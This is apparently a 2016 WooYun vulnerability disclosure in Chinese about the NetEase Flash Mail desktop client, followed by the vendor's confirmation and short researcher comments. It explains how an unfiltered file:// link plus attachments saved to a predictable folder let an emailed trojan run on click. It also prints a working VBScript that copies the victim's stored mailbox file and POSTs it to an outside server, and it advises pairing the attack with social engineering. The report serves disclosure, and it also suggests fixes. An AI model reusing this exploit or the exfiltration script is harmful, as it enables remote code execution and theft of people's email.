网易闪电邮客户端设计缺陷可导致远程种马/邮件窃取

首先出现的问题重点我之前提过

http://**.**.**.**/bugs/wooyun-2010-0146493

是很多邮件客户端都存在的低级问题

这漏洞是在没有客户端XSS的情况下可命令执行的漏洞，当然实际利用要结合社工。

a标签没有对file://进行过滤，可能会导致一些安全问题。但是就这样只能执行一些简单的程序，很鸡肋，但只要结合闪电邮的另一个缺陷就能实现真正的命令执行。

当客户端打开含有图片附件的邮件时，会在当前邮件的目录生成出来。

这样好像没什么不对，但是这样的话结合第一个缺陷就能执行你传过来的附件了。

发送邮件的时候添加一个图片附件，而那图片就是你的木马

然后再邮件正本加上a标签

<a href="attachs/cmd.exe">Click</a>

点击就执行了很弱智

客户端会生成到当前目录和attachs目录。

如果不想种马可以直接窃取邮件，优雅地利用，直接写个vbs脚本即可。

所有获取的到邮件都存在 /安装目录/account/邮箱地址/in.mbox

vbs代码:

Dim http
 Set http = CreateObject("Msxml2.ServerXMLHTTP")
 set fso=createobject("scripting.filesystemobject")
 path = fso.GetFolder(".").Path&"/../../../account/victim的邮箱地址/in.mbox"
 fso.CopyFile path,"mail.mbox",False '文件被客户端占用,Adodb.Stream不能读取要先copy
 Set stm = CreateObject("Adodb.Stream")
 stm.Type = 2
 stm.mode = 3
 stm.charset = "utf-8" 'fso不支持utf8要用Adodb.Stream读取
 stm.Open
 stm.LoadFromFile "mail.mbox"
 mail=stm.readtext
 http.open "POST","**.**.**.**/test.php", False
 http.setRequestHeader "Content-Type","application/x-www-form-urlencoded"
 http.send "mail="&mail

victim点击后会自动执行

URLdecode后就可以看到整个邮件的请求

结合一些社工手段。

超链接的欺骗

1 超链接对file://要做处理

2 附件路径要随机

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2016-03-14 13:37

厂商回复：

您好，确认漏洞存在，产品部门将着手客户端的修复工作。感谢您对网易产品的关注。

最新状态：

暂无

1. 2016-03-10 16:09 | Aasron ( 普通白帽子 | Rank:905 漏洞数:163 | raw_input("你知道我要输入什么？"))

   3

   屠龙宝刀，点击你说送不送？

   1# 回复此人

2. 2016-03-10 16:25 | Mieless ( 实习白帽子 | Rank:35 漏洞数:10 | 我是来打酱油的。)

   2

   this defect is so LOUSY

   2# 回复此人

3. 2016-03-10 16:26 | 奈何彼岸 ( 普通白帽子 | Rank:140 漏洞数:49 | 乌云一下你就知道)

   2

   前排

   3# 回复此人

4. 2016-03-10 16:36 | 大师兄 ( 实习白帽子 | Rank:31 漏洞数:8 | 每日必关注乌云)

   2

   mark

   4# 回复此人

5. 2016-03-10 17:16 | Taro ( 普通白帽子 | Rank:349 漏洞数:86 | 走向最远的方向，哪怕前路迷茫；抱着最大的...)

   2

   这个不打雷么

   5# 回复此人

6. 2016-03-10 17:23 | 数据流 ( 普通白帽子 | Rank:817 漏洞数:100 | 没关系啊，我们还有音乐)

   2

   @Taro 这个漏洞很弱智。。

   6# 回复此人

7. 2016-03-10 17:28 | Taro ( 普通白帽子 | Rank:349 漏洞数:86 | 走向最远的方向，哪怕前路迷茫；抱着最大的...)

   2

   @数据流 等着看看如何弱智，没有研究过网易的邮箱客户端

   7# 回复此人

8. 2016-03-11 10:47 | 泳少 ( 普通白帽子 | Rank:257 漏洞数:84 | ★ 梦想这条路踏上了，跪着也要...)

   2

   邮箱流

   8# 回复此人

9. 2016-05-08 13:44 | 梧桐雨 ( 核心白帽子 | Rank:1662 漏洞数:191 | 学无止境)

   0

   @数据流 越容易越弱智的漏洞危害越大，说明小白也能利用。

   9# 回复此人

10. 2016-05-08 14:00 | 数据流 ( 普通白帽子 | Rank:817 漏洞数:100 | 没关系啊，我们还有音乐)

    0

    @梧桐雨 哈哈是啊

    10# 回复此人